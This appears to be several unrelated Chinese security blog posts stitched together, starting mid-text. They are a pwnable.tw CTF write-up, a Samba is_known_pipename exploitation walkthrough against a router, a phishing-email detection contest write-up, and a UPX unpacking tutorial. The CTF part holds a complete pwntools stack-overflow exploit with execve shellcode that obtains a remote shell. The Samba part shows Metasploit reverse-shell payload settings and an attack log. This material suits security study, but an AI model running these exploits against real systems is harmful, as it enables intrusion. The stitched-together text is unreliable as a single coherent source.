最好多用几个工具进行检查，兼听则明。比如这个程序用peda检查就开启了NX，但实际上并没有。所以理想的话，把shellcode布置到栈上就可以了！

$ checksec  ./start
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

RELRO(Relocation Read Only)：尽量使存储区域只读

0x02 漏洞分析

用IDA逆向分析，汇编代码

保存现场环境esp、_exit
.text:08048060                 push    esp
.text:08048061                 push    offset _exit

清空寄存器EAX EBX ECX EDX
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx

向栈上压入参数
.text:0804806E                 push    3A465443h    CTF:
.text:08048073                 push    20656874h    the
.text:08048078                 push    20747261h    art
.text:0804807D                 push    74732073h    s st
.text:08048082                 push    2774654Ch    Let’

系统调用80h
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write

系统调用80h
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -

恢复栈平衡，返回到_exit
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed

INT 80h 系统调用方法

系统调用的过程可以总结如下：
1． 执行用户程序(如:fork)
2． 根据glibc中的函数实现，取得系统调用号并执行int $0x80产生中断。
3． 进行地址空间的转换和堆栈的切换，执行SAVE_ALL。（进行内核模式）
4． 进行中断处理，根据系统调用表调用内核函数。
5． 执行内核函数。
6． 执行RESTORE_ALL并返回用户模式
Linux 32位的系统调用时通过int 80h来实现的，eax寄存器中为调用的功能号，ebx、ecx、edx、esi等等寄存器则依次为参数。

关于系统调用的功能号：

#define __NR_exit                 1
#define __NR_fork                 2
#define __NR_read                 3
#define __NR_write                4
#define __NR_open                 5
#define __NR_close                6
#define __NR_waitpid              7
#define __NR_creat                8
#define __NR_link                 9
#define __NR_unlink              10
#define __NR_execve              11

第一个系统调用：
将esp开始的14h字节数据写入标准输出（文件描述符1），即输出”Let’s start the CTF:“

第二个系统调用：
从标准输入读取3ch字节到栈空间

栈变化情况

1. 程序执行到0804808F：sys_write

输出14h字节数据：Let’s start the CTF:

    +-----------------+      <----
    |       Let’      |         |     
    +-----------------+         |
    |       s st      |         |
    +-----------------+         |
    |       art       |        14h
    +-----------------+         |
    |       the       |         |
    +-----------------+         |
    |       CTF:      |         |
    +-----------------+      <-----
    |   offset _exit  |
    +-----------------+
    |    Saved ESP    |
H-> +-----------------+

1. 08048097: sys_read

read函数最多可以读取3ch字节，超出了分配的空间，可以用来覆盖ret_addr和esp。经调试验证，20字节后覆盖ret，24字节后覆盖esp。

gdb-peda$ pattern search
Registers contain pattern buffer:
EIP+0 found at offset: 20
Registers point to pattern buffer:
[ECX] --> offset 0 - size ~32
[ESP] --> offset 24 - size ~8
Pattern buffer found at:
0xffcc2764 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])
Reference to pattern buffer not found in memory

    +-----------------+      <----
    |       aaaa      |         |     
    +-----------------+         |
    |       aaaa      |         |
    +-----------------+         |
    |       aaaa      |        14h
    +-----------------+         |
    |       aaaa      |         |
    +-----------------+         |
    |       aaaa      |         |
    +-----------------+      <-----
    |       aaaa      |
    +-----------------+
    |    Saved ESP    |
H-> +-----------------+

0x03 漏洞利用

利用思路

现在EIP已经在我们的掌控之中了，关键是如何跳转到布置的shell code中。一般来说，首先会去找JMP ESP指令，这样就能让shellcode获得执行。但这段汇编代码没有，可以利用的只有read和write。如果可以write出Saved ESP的地址，然后覆盖掉offset _exit，就能成功shell。

1. 泄露Saved ESP

start = p.recvuntil(':')  //等待write执行完毕
payload = 'a'*0x14 + p32(0x08048087)   //发送溢出数据，覆盖ret为0x08048087->输出14h字节
p.send(payload)
data = p.recv()    //接收输出数据，其中就有Saved ESP

debug过程：

[DEBUG] Received 0x14 bytes:
    "Let's start the CTF:"
[DEBUG] Sent 0x18 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000010  61 61 61 61  87 80 04 08                            │aaaa│····││
    00000018
[DEBUG] Received 0x14 bytes:
    00000000  **20 53 81**** ff**  01 00 00 00  58 6d 81 ff  00 00 00 00  │ S··│····│Xm··│····│
    00000010  60 6d 81 ff                                         │`m··││
    00000014

2. 覆盖RET

此时程序已经泄露出之前的Saved_esp，栈的情况已经摸清了，然后程序继续执行read，注意read完 add esp, 14h后再ret，因此，ret_addr在esp+14h的地方。

payload = 'a'*0x14 + p32(saved_esp + 20) + shellcode
print p32(saved_esp)
p.send(payload)

3. shellcode

shellcode同样可以用系统调用的方式执行execve(“/bin/sh”,NULL,NULL)

其中，该程序是 32 位，所以我们需要使得

• 系统调用号，即 eax 应该为 0xb
• 第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。
• 第二个参数，即 ecx 应该为 0
• 第三个参数，即 edx 应该为 0

xor eax,eax     //清空eax
push eax        //0入栈，当作字符/bin/sh结尾
push '/sh'
push '/bin'     //'/sh'为3字节，未对齐' ->'/sh\0'或//sh
mov ebx, esp    //指向/bin/sh地址
xor ecx,ecx
xor edx,edx
mov al, 0xb     //系统调用号
int 80

shellcode='''
xor eax,eax
push eax
push %s
push %s
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al, 0xb
int 0x80''' %(u32('/sh\0'),u32('/bin'))

使用asm(shellcode)来进行汇编,可以使用context来指定cpu类型以及操作系统，如context(arch = ‘amd64’ , os = ‘linux’, log_level=”debug”)

Catch THE FLAG

from pwn import *
from binascii import *

shellcode='''
xor eax,eax
push eax
push %s
push %s
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al, 0xb
int 0x80''' %(u32('/sh\0'),u32('/bin'))

def dbg():
    p = process('./start')
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    context.log_level = 'debug'
    gdb.attach(proc.pidof(p)[0])
    pause()
    return p

def leak_esp(p):
    start = p.recvuntil(':')
    payload = 'a'*0x14 + p32(0x08048087)
    p.send(payload)
    saved_esp = p.recv()[:4]
    return u32(saved_esp)

def pwn(p,saved_esp):
    payload = 'a'*0x14 + p32(saved_esp + 20) + asm(shellcode)
    p.send(payload)
    p.interactive()

if __name__ == '__main__':
    # p = dbg()
    # p = process("./start")
    p = remote("chall.pwnable.tw",10000)
    saved_esp = leak_esp(p)
    print "leak saved_esp: %s" %hex(saved_esp+20)
    pwn(p,saved_esp)

$ python ./start.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
leak saved_esp: 0xffb43704
[*] Switching to interactive mode
$ whoami
start
$ find -name flag
./home/start/flag
$ cat ./home/start/flag
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

REF

Linux 系统调用

pwntools使用
http://brieflyx.me/2015/python-module/pwntools-intro/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/

Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录，会导致服务器加载并执行指定的库文件。
具体执行条件如下：

1. 服务器打开了文件/打印机共享端口445，让其能够在公网上访问

2. 共享文件拥有写入权限

3. 恶意攻击者需猜解Samba服务端共享目录的物理路径

Samba介绍

Samba是在Linux和Unix系统上实现SMB协议的一个免费软件，由服务器及客户端程序构成。SMB（Server Messages Block，信息服务块）是一种在局域网上共享文件和打印机的一种通信协议，它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。

SMB协议是客户机/服务器型协议，客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源，还能与全世界的电脑分享资源。

某厂商路由器的smbd版本为4.0.21，该漏洞影响Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本。

漏洞成因

处于\source3\rpc_server\src_pipe.c的is_known_pipename()函数未对传进来的管道名pipename的路径分隔符/进行识别过滤，导致可以用绝对路径调用恶意的so文件，从而远程任意代码执行。
首先看到is_known_pipename()`函数

跟进到smb_probe_module()

再跟进到do_smb_load_module()，发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数

我们可以通过smb服务上传一个恶意的so文件，随后通过上述过程进行调用，执行任意代码。

漏洞复现

某路由器满足条件

netstat -apnt
tcp    0   0 192.168.31.1:445   0.0.0.0:*     LISTEN   0 572 1917/smbd

nmap 192.168.31.1
139/tcp  open     netbios-ssn
445/tcp  open     microsoft-ds

端口已开启

vim /etc/samba/smb.conf
        deadtime = 30
        domain master = yes
        encrypt passwords = true
        enable core files = no
        guest account = nobody
        guest ok = yes
        invalid users =
        local master = yes
        load printers = no
        map to guest = Bad User
        min receivefile size = 16384
        null passwords = yes
        obey pam restrictions = yes
        passdb backend = smbpasswd
        preferred master = yes
        printable = no
        smb encrypt = disabled
        smb passwd file = /etc/samba/smbpasswd
        socket options =  SO_SNDBUFFORCE=1048576 SO_RCVBUFFORCE=1048576
        smb2 max trans = 1048576
        smb2 max write = 1048576
        smb2 max read = 1048576
        write cache size = 262144
        syslog = 2
        syslog only = yes
        use sendfile = yes
        writeable = yes
        log level = 1
        unicode = True
        max log size = 500
        log file = /tmp/log/samba.log
        server role = STANDALONE

[homes]
        comment     = Home Directories
        browsable   = no
        read only   = no
        create mode = 0750

[data]                    ***SMB_SHARE_NAME***
        path = /tmp       ***SMB_FOLDER***
        read only = no    ***具备可写权限***
        guest ok = yes    ***允许匿名***
        create mask = 0777
        directory mask = 0777

具有可写权限、目录为/tmp

攻击：使用metasploit

设置攻击参数

靶机是某厂商路由器，它的系统为mips架构，但是这个库好像对它的支持不是很好

show options

Module options (exploit/linux/samba/is_known_pipename):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   RHOSTS          192.168.31.1     yes       The target address range or CIDR identifier
   RPORT           445              yes       The SMB service port (TCP)
   SMB_FOLDER                       no        The directory to use within the writeable SMB share
   SMB_SHARE_NAME                   no        The name of the SMB share containing a writeable directory


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.216.129  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   7   Linux MIPSLE

执行攻击

exploit

[*] Started reverse TCP handler on 192.168.216.129:4444
[*] 192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path
[*] 192.168.31.1:445 - Retrieving the remote path of the share 'data'
[*] 192.168.31.1:445 - Share 'data' has server-side path '/tmp
[*] 192.168.31.1:445 - Uploaded payload to \\192.168.31.1\data\KcQiOcbk.so
[*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so...
[-] 192.168.31.1:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so...
[-] 192.168.31.1:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] Exploit completed, but no session was created.

虽然报错，但是查看共享文件夹/tmp却发现了生成了.so文件
知乎这篇专栏也有相同问题

修补方案

最安全的方法还是打补丁或者升级到Samba 4.6.4/4.5.10/4.4.14任意版本，可以参考 https://www.samba.org/samba/history/security.html

如果暂时不能升级版本或安装补丁，可以使用临时解决方案：
在smb.conf的[global]板块中添加参数：nt pipe support = no
然后重启smbd服务。

分析POC，查找原因

(来自Wz’blog)

建立SMB连接。若需要账号密码登录，则必须登录后才能继续

从微软上扒的SMB协议建立时序图：

对应POC:

利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)

其中find_writeable_path()函数需要跟进看一下：

再跟进看enumerate_directories()以及verify_writeable_directory函数

可以看到代码逻辑很清楚，首先遍历出当前路径所有的文件夹，然后尝试往里面写一个随机的txt文件用作可写测试，随后删除掉txt文件，记录下可写的文件路径。
至此，我们得到了一个共享名(即本例中的data)以及其当前路径下的可写目录(/tmp)

利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)

至此获取到了共享名data的绝对路径。
值得注意的是，这里跟早期的Payload不一样，早期的payload是靠暴力猜解目录，所以跟一些分析文章有些出入。现在的Payload是根据NetShareGetInfo直接获取到准确的路径，极大地提高了攻击的成功率。

上传恶意so文件

其中写入的so文件是Metasploit生成的反弹shell，很简单的执行一句命令。有一点需要注意的是里面的函数名必须是samba_init_module并且是一个导出函数，这个原因上述的漏洞分析也有提及。

调用恶意文件，并执行echo命令打印随机字符串检验是否调用成功

利用从第2步获取到的可写文件目录(Path)以及从第3步得到的共享文件绝对路径(SharePath)构造恶意管道名\PIPE\/SharePath/Path/Evil.so，然后通过SMB_COM_NT_CREATE_ANDX进行调用。
在复现时，调用恶意so文件总会失败，产生Error Code为：STATUS_OBJECT_NAME_NOT_FOUND的错误。尚未能明白为什么会出现这种首次失败的情况，也许要详细看看smb协议才能知道了。
POC代码将STATUS_OBJECT_PATH_INVALID作为我们payload被加载的标志，随后就是用NBSS协议进行了一次远程代码执行的测试，执行代码为echo随机字符串。

删除恶意so文件，断开smb连接

由msf给出的poc过程可见，对路由器的攻击在第五步出现问题，因此出现Failed to load STATUS_OBJECT_NAME_NOT_FOUND

目标

在真实的企业网络环境中，一些攻击者总能想方设法绕过邮件检测引擎，使攻击邮件抵达员工的收件箱，最终达到窃取用户登录凭证等目的。与此同时，企业网络安全管理团队的精力十分有限，不可能实现对企业的全部邮件进行逐一审查。

如果你是一家企业的邮件安全负责人，能否基于数据分析，利用长达三个月的企业邮件服务器日志摘要信息，设计检测模型，输出一批威胁程度较高的邮件，以便于后续的人工审查。请注意：检测模型不允许使用第三方威胁情报，检测系统必须能够离线运行。

从赛题说明中，我们可以提取出几个关键词：邮件、窃取用户凭证、威胁程度、离线运行，最终目的是从邮件通信日志中筛选出钓鱼邮件（窃取用户登录凭证）。

数据

约80万封邮件通信日志，赛事主办方已经对数据进行了脱敏和匿名化处理。

提示：根据既往经验知识，威胁程度较高的邮件规模约在2千至2万左右。

主办方给了威胁邮件的大致数量范围，邮件通信日志与第一题真实的邮件格式不同，每一封邮件都是json格式的数据，只保留了8个字段，而且做了匿名化处理。

* rcpt：收信人邮箱地址   --->  [salt+hash]@[salt+hash替换掉敏感域名，其它保留].[真实TLD]
* sender：发件人邮箱地址    --->  同上
* ip：企业邮箱用户登录ip   --->  经过映射处理，不是真实的ip地址，但保留子网关系
* fromname：发信人名称  --->  对于白名单关键词（比如admin，hr，管理员，经理等）进行保留。除了白名单的其它部分salt+hash
* url：直接从邮件正文、subject、附件、fromname中提取出来的url   ---> [真实协议]://hash+salt替换掉敏感域名.真实TLD/真实参数
* @timestamp：时间戳
* region：企业邮箱用户登录ip所在地区
* authuser：收信时False，发信时True，注意企业邮箱域内互发的话是只有一条发信记录
* tag：邮件编号，提交答案需要用到

提交规则

主办方给的方法很简单，每一封邮件均有字段tag，结果只需要每行一个威胁邮件的tag，换行使用\n

评分

比赛过程中排行榜展示每位选手的F1-score，未提交答案F1-score视为0，比赛结束后，每位选手的得分由min-max归一化*100计算得出，保留1位小数（四舍五入）

最终得分不仅取决于自己的F1-score，还取决于所有选手的整体成绩。另外利用F1-score，我们还能推测出这80万封邮件中大致的威胁邮件数量，后续再说。

解题思路

在初步浏览了一些邮件日志内容后，我们将目标锁定为寻找钓鱼邮件的数量。首先需要知道钓鱼邮件是什么，具备哪些特征。

1. 使用短链接

短链接就是将较长的网址，通过特定的算法转换为简短的网址字符串。用户无法通过短链接地址直接看出点击这个短链接地址后究竟会打开什么样的网站。
常见的有：t.cn、 bit.ly、 bit.do、 u.to、 url.cn

2. 使用十六进制IP地址编码格式进行混淆

网络攻击者正在不断发展其工具、策略和技术，以逃避垃圾邮件检测系统。 一些垃圾邮件活动非常依赖电子邮件信息中的混淆URL。其中就有使用了URL主机名部分中使用的十六进制IP地址编码格式来逃避检测。
从技术上讲，IP地址可以用多种格式表示，因此可以在URL中使用，如下所示：

• https://216.58.199.78
  点分十进制IP地址，此示例使用Google.com的IP
• https://0330.0072.0307.0116
  八进制IP地址，将每个十进制数字转换为八进制
• https://0xD83AC74E
  十六进制IP地址，将每个十进制数字转换为十六进制
• https://3627730766
  整数或DWORD IP地址，将十六进制IP转换为整数

浏览器将自动将十六进制或其他IP格式转换为十进制的IP地址。

3. 邮件钓鱼测试工具固有特征

PhEmail是基于python编写的一款网络钓鱼邮件测试工具。PhEmail可以同时向多个用户发送钓鱼邮件，并记录点击的用户的邮箱和IP等信息。PhEmail可以通过Google收集邮箱，完成邮箱收集工作。
收集邮箱后钓鱼邮件发送常用参数：-w 钓鱼网站url地址，发送后会自动添加index.php?email=等内容
钓鱼邮件中的url链接伪造时添加email地址并进行编码，通过钓鱼网站中php文件代码来识别email并记录log文件中。php可以进行重定向到其他网站。

4. 冒充管理员等身份

对于企业用户来说，OA钓鱼邮件是最具危险性的钓鱼邮件。攻击者冒充系统管理员发送邮件，以邮箱升级、邮箱停用等理由诱骗企业用户登录钓鱼网站，并进而骗取企业员工的帐号、密码、姓名、职务等信息。
钓鱼邮件经常伪装的发件人身份有以下几个主要类型：

• 冒充系统管理员，以系统升级、身份验证等为由，通过钓鱼网站等方式骗取企业员工的内网帐号密码或邮箱帐号密码。
• 冒充特定组织，如协会、机构、会议组织者或政府主管部门等身份发送邮件，骗取帐号密码或钱财。
• 冒充客户或冒充自己，即攻击者会冒充企业客户或合作方对企业实施诈骗，或者是攻击者冒充某企业员工对该企业的客户或合作方实施诈骗。当然也有可能 是冒充某个企业的管理者对企业员工实施诈骗。

从fromname（发信人名称）中获得的常见名称有：admin、support、安全、service、管理员等。

5. 同形异义词攻击

同形异义字是利用IDN中一些非拉丁字符语种的字母与拉丁字符非常相似，字面看很难区分的特性，找到对应的字符来实现钓鱼攻击。例如16ვ.com(U+10D5)、16ဒ.com (U+1012)、16ҙ.com (U+0499) 都在一定程度上和163.com有相似性，基于一些开放的https证书服务这些域名还能取得相应的证书，进一步增加钓鱼成功的可能性。
Punycode是RFC 3492标准设计的编码系统，用于把Unicode转换为可用的DNS系统的编码，比如16ҙ.com就会被转成xn–16-8tc.com，这在一定程度上可以防止IDN欺骗。

6. URL跳转

使用URL跳转可以突破钓鱼软件检测系统。这类钓鱼软件检测系统在检测是否是钓鱼网站或者恶意系统的时候，检测的是URL，而并非网站的内容。比如，从qq邮箱打开一个URL的时候，会弹出一个网页提示。但并不是所以的网站都会提示，一些知名网站是不可能做钓鱼网站的，所以邮箱就不会拦截，也就是说，当邮箱碰到不认识的网站的时候才会进行提示。
这样攻击者就可以利用URLt跳转来躲过恶意检测。比如：http://www.baidu.com/page?url=http://www.evil.com

参考

2016中国企业邮箱安全性研究报告 https://www.anquanke.com/post/id/85416
PhEmail https://github.com/Dionach/PhEmail
微软：最新钓鱼技术2019总结 https://www.4hou.com/posts/A9oz
[译] APT分析报告：02.钓鱼邮件网址混淆URL逃避检测 https://blog.csdn.net/Eastmount/article/details/108728139
2017中国企业邮箱安全性 研究报告 http://zt.360.cn/1101061855.php?dtid=1101062514&did=491163339
基于URL跳转与XSS组合利用的钓鱼分析 https://xz.aliyun.com/t/6303
IDN Spoof漏洞自动化挖掘 https://blog.lyle.ac.cn/2018/12/08/idnfuzz/
APT杂项篇一种老旧，但却防不胜防的钓鱼攻击（Punycode 钓鱼攻击）https://www.codenong.com/cs106406317/
钓鱼网站也在使用https加密，如何识别钓鱼网站？ https://www.freebuf.com/company-information/208790.html
恶意邮件智能监测与溯源技术研究 https://www.anquanke.com/post/id/172046#h2-0
钓鱼邮件的投递和伪造 https://xz.aliyun.com/t/6325#toc-0、
用机器学习检测钓鱼网站 http://blog.hubwiz.com/2019/09/17/detect-phishing-url/

壳的加载过程

壳和病毒在某些地方类似，都需要获得比原程序更早的控制权。壳修改了原程序执行文件的组织结构，从而获得控制权，但不会影响原程序正常运行。

1. 保存入口参数
   加壳程序在初始化时会保存各寄存器的值，待外壳执行完毕，再恢复各寄存器的内容，最后跳回原程序执行。通常用pushad/popad等指令保存和恢复现场环境。
2. 获取壳本身需要使用的API地址
   一般情况下，外壳的输入表中只有GetProcAddress、GetModuleHandle和LoadLibrary这三个API函数，甚至只有Kernel32.dll及GetProcAddress。如果需要其他API函数，可以通过LoadlibraryA或LoadlibraryExA将DLL文件映像映射到调用进程的地址空间中，函数返回的HINSTANCE值用于标识文件映像所映射的虚拟内存地址。
3. 解密原程序各个区块的数据
   在程序执行时，外壳将解密区块数据，使程序正常运行。
4. IAT的初始化
   IAT的填写本来由PE装载器实现，但由于在加壳时构造了一个自建输入表，并让PE文件头数据目录表中的输入表指针指向自建输入表，PE装载器转而填写自建输入表，程序的原始输入表被外壳变形后存储，IAT的填写会由外壳程序实现。外壳从头到尾扫描变形后的输入表结构，重新获得引入函数地址，填写在IAT中。
5. 重定位项的处理
   针对加壳的DLL
6. Hook API
   壳在修改原程序文件的输入表后自己模仿操作系统的流程，向输入表填充相关数据。在填充过程中，外壳可以填充Hook API代码的地址，从而获得程序控制权。
7. 跳转到OEP

通用脱壳方法

通常脱壳的基本步骤如下:
1:寻找OEP
2:转储(PS:传说中的dump)
3:修复IAT(修复导入表)
4:检查目标程序是否存在AntiDump等阻止程序被转储的保护措施,并尝试修复这些问题。
以上是脱壳的经典步骤,可能具体到不同的壳的话会有细微的差别。

寻找OEP

1. 搜索JMP或者CALL指令的机器码(即一步直达法,只适用于少数壳,包括UPX,ASPACK壳)
   对于一些简单的壳可以用这种方式来定位OEP,但是对于像AsProtect这类强壳(PS:AsProtect在04年算是强壳了,嘿嘿)就不适用了,我们可以直接搜索长跳转JMP(0E9)或者CALL(0E8)这类长转移的机器码,一般情况下(理想情况)壳在解密完原程序各个区段以后,需要一个长JMP或者CALL跳转到原程序代码段中的OEP处开始执行原程序代码。按CTRL+B组合键搜索一下JMP的机器码E9(CTRL+L查看下一个）,看看有没有这样一个JMP跳转到原程序的代码段。
2. 使用OllyDbg自带的功能定位OEP(SFX法)
   演示这种方法目标程序我们还是选择CRACKME UPX.EXE,用OD加载该程序,然后选择菜单项Options-Debugging options-SFX。该选项只有当OllyDbg发现壳的入口点位于代码段之外的时候才会起作用,壳的入口点位于代码段中的情况还是比较少见的。
3. 使用Patch过的OD来定位OEP(即内存映像法)
   正常的内存访问断点读取,写入,执行的时候都会断下来,该Patch过的OD内存访问断点仅当执行的时候才会断下来,我们可以利用这一点来定位OEP。
   UPX壳的解密例程会解密原程序的各个区段并将各个区段原始字节写回到原处,我们最好不要在解密区段的过程中断下来,说不定要断成千上万次才能到达OEP,这里有了这个Patch过的OD就方便多了,其内存访问断点仅当执行的时候才会断下来,当其在执行第一个区段中的代码时,基本上就可以断定是OEP了。
4. 堆栈平衡法(即ESP定律法)
   这种方法适用于一些古老的壳。这些壳首先会使用PUSHAD指令保存寄存器环境,在解密各个区段完毕,跳往OEP之前,会使用POPAD指令恢复寄存器环境。
   有的情况下保存寄存器环境可能不是第一条指令,但也在附近了,还有些情况下,有些壳不使用PUSHAD,而是逐一PUSH各个寄存器(例如:PUSH EAX,PUSH EBX等等),总而言之,在解密完区段,跳往OEP之前会恢复寄存器环境。
   按F7键执行PUSHAD:可以看到各个寄存器的初始值被压入到堆栈中了,这里我们可以对这些初始值设置内存或者硬件访问断点,当解密例程读取这些初始值的时候就会断下来,断下来处基本上就在OEP附近了。
   这里我们可以通过在ESP寄存器值上面单击鼠标右键选择-Follow in dump在数据窗口中定位到这些寄存器的初始值。对这些初始值的第一个字节或者前4个字节设置硬件访问断点。当壳的解密例程读取该值的时候断了下来，停在popad的下一行,紧接着下面就是跳往OEP处,说明这个方法起作用了。
5. VB应用程序定位OEP法(Native 或者 P-CODE)
   定位VB程序的OEP比较容易,因为VB应用程序都有一个特点-开始都是一个PUSH指令,紧接着一个CALL指令调用一个VB API函数。我们可以使用Patch过的OD,首先定位到VB的动态库,接着给该动态库的代码段设置内存访问断点,
   当壳的解密例程解密完原程序各个区段,接着就会断在VB DLL的第一条指令处,接着我们可以在堆栈中定位到返回地址,就可以来到OEP的下一条指令处。这里我们也可以使用前面介绍的方法-跟逐一给各个区段设置内存访问断点(使用Patch过的OD),但是很多壳会检测这种方法,所以大家可能根据需要不同的情况来尝试这不同的方法。这种方法很容易理解,我就不举例子了,以后大家如果遇到了VB程序可以试试这种方法。
6. 最后一次异常法
   如果我们在脱壳的过程中发现目标程序产生大量异常的话,就可以使用最后一次异常法,将EXCEPTIONS菜单项中的忽略各个异常的选项都勾选上,运行起来。这里我们可以看到产生了好几处异常,但是都不是位于第一个区段,说明这些异常不是在原程序运行期间发生的,是在壳的解密例程执行期间产生的异常。重新启动OD,将EXCEPTIONS菜单项中忽略的异常选项的对勾都去掉,仅保留Ignore memory access violations in KERNEL32这个选项的对勾。按SHIFT + F9忽略异常继续运行,我们直到最后一次异常。
   接着我们可以 对代码段设置内存访问断点 ,可能有人会问,为什么不在一开始设置内存访问断点呢?原因是很多壳会检测程序在开始时是否自身被设置内存访问断点,如果执行到了最后一次异常处的话,很可能已经绕过了壳的检测时机！
7. 用壳最常用的API函数来定位OEP
   将忽略的异常选项都勾选上,我们来定位一下壳最常用的API函数,比如GetProcAddress,LoadLibrary。ExitThread有些壳会用。
   使用bp GetProcAddress命令给该API函数设置一个断点。我们只需要知道壳在哪些地方调用GetProcAddress,所以我们在断下来的这一行上面单击鼠标右键选择-Breakpoint-Conditional log,来设置条件记录。将Pause program这一项勾选上Never,记录的表达式设置为[ESP],也就是记录返回地址,这样我们就能知道哪些地方调用GetProcAddress。接着在日志窗口中单击鼠标右键选择-Clear Log(清空日志)。运行起来,我们可以看到程序的主窗口弹了出来,打开日志窗口,看看最后一次GetProcAddress(排除掉第一个区段中调用的位置)是在哪里被调用的。
   我们可以在 对代码段设置内存访问断点 之前尝试一下这种方法,这样就可以绕过很多壳对内存断点的检测,但是有一些壳也会对API函数断点进行检测,所以说我们需要各种方式都尝试一下,找到最合适的。
8. 利用应用程序调用的第一个API函数来定位OEP

IAT表修复

为了确保操作系统将正确的API函数地址填充到IAT中,应该满足一下几点要求:
1:可执行文件各IAT项所在的文件偏移处必须是一个指针,指向一个字符串。
2:该字符串为API函数的名称。
如果这两项满足,就可以确保程序在启动时,操作系统会将正确的API函数地址填充到IAT中。
假如,我们当前位于被加壳程序的OEP处,我们接下来可以将程序dump出来,但是在dump之前我们必须修复IAT,为什么要修复IAT呢?难道壳将IAT破坏了吗?对,的确是这样,壳压根不需要原程序的IAT,因为被加壳程序首先会执行解密例程,读取IAT中所需要的API的名称指针,然后定位到API函数地址,将其填入到IAT中,这个时候,IAT中已经被填充了正确的API函数地址,对应的API函数名称的字符串已经不需要了,可以清除掉。
大部分的壳会将API函数名称对应的字符串以密文的形式保存到某个地址处,让Cracker们不能那么容易找到它们。

压缩壳

压缩壳的特点就是减小软件的体积，加密保护不是重点。目前，兼容性和稳定性较好的压缩壳有UPX、ASPack、PECompact等。

UPX

UPX-the Ultimate Packer for eXecutables是以命令行方式操作的可执行文件压缩程序。
UPX早期的压缩引擎是有UPX自己实现的，其3.x版本也支持LZMA第三方压缩引擎。UPX除了对目标程序进行压缩，也可以解压缩。它不包含任何反调试或保护策略。另外，UPX保护工具UPXPR、UPX-sCRAMBLER等可修改UPX加壳标志，使其自解压功能失效。

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file

识别UPX加壳

被加壳程序：点击按钮之后弹框

1. 导入函数很少
   未加壳程序的导入函数：
   
   加壳后的导入函数：
   

2. 使用IDA识别代码段
   只有少量的代码被识别

3. 使用OllyDbg打开程序，警告被加壳
   

4. 程序的节名包含加壳器的标识
   加壳后的程序节名为UPX0、UPX1、rsrc

5. 程序拥有不正常的节大小。例如.text节的原始数据大小为0，但虚拟大小非0
   

6. 使用加壳探测工具如PEiD
   

7. 熵值计算
   压缩或加密数据更接近于随机数据，熵值更高。如使用PEiD计算熵值
   
   PEiD计算熵值的方法：
   1.重新组织需要计算的数据
   i．以下数据不列入计算熵的范围：导出表数据、导入表数据、资源数据、重定向数据。
   ii. 尾部全0的数据不列入计算熵的范围。
   iii. PE头不列入计算熵的范围。
   2.分别计算每一部分数据的熵E和该部分数据大小S。
   3.以下列公式得到整个PE文件的熵 Entropy = ∑Ei * Si / ∑Si (i = 1,2…n)。

UPX手动脱壳

根据 栈平衡原理 寻找OEP
在编写加壳软件时，必须保证外壳初始化的现场环境（各寄存器值）与原程序的现场环境相同。因此，加壳程序在初始化时保存各寄存器的值，待外壳执行完毕后恢复寄存器的内容，最后跳转到原程序执行。通常用pushad（push eax/ecx/edx/ebx/esp/ebp/esi/edi）、popad来保存和恢复现场环境。
首先用Ollydbg加载已加壳的程序，起始代码如下：

此时现场环境（寄存器值）如下：

在执行pushad指令后，寄存器的值被压入栈中，如下所示：

此时esp指向12FFA4h，对这个地址设置硬件访问断点，然后运行程序，在调用popad恢复现场环境时会访问12FFA4h，造成中断，此时离OEP已经不远了：

005B5155   .- E9 9506F4FF   jmp carckUPX.004F57EF

即为跳转到OEP的指令，设置断点，跟进到004F57EF，此时我们就来到了OEP。
dump和修复IAT表的工具很多。

1. 使用Ollydump进行程序脱壳和IAT表修复。
   
   使用PEiD检查，果然壳已经脱掉！
2. 使用PETools dump和Import Reconstruct修复IAT
   使用PETools出来的程序不能运行，提示win32无法识别，这是因为IAT表没有重建。
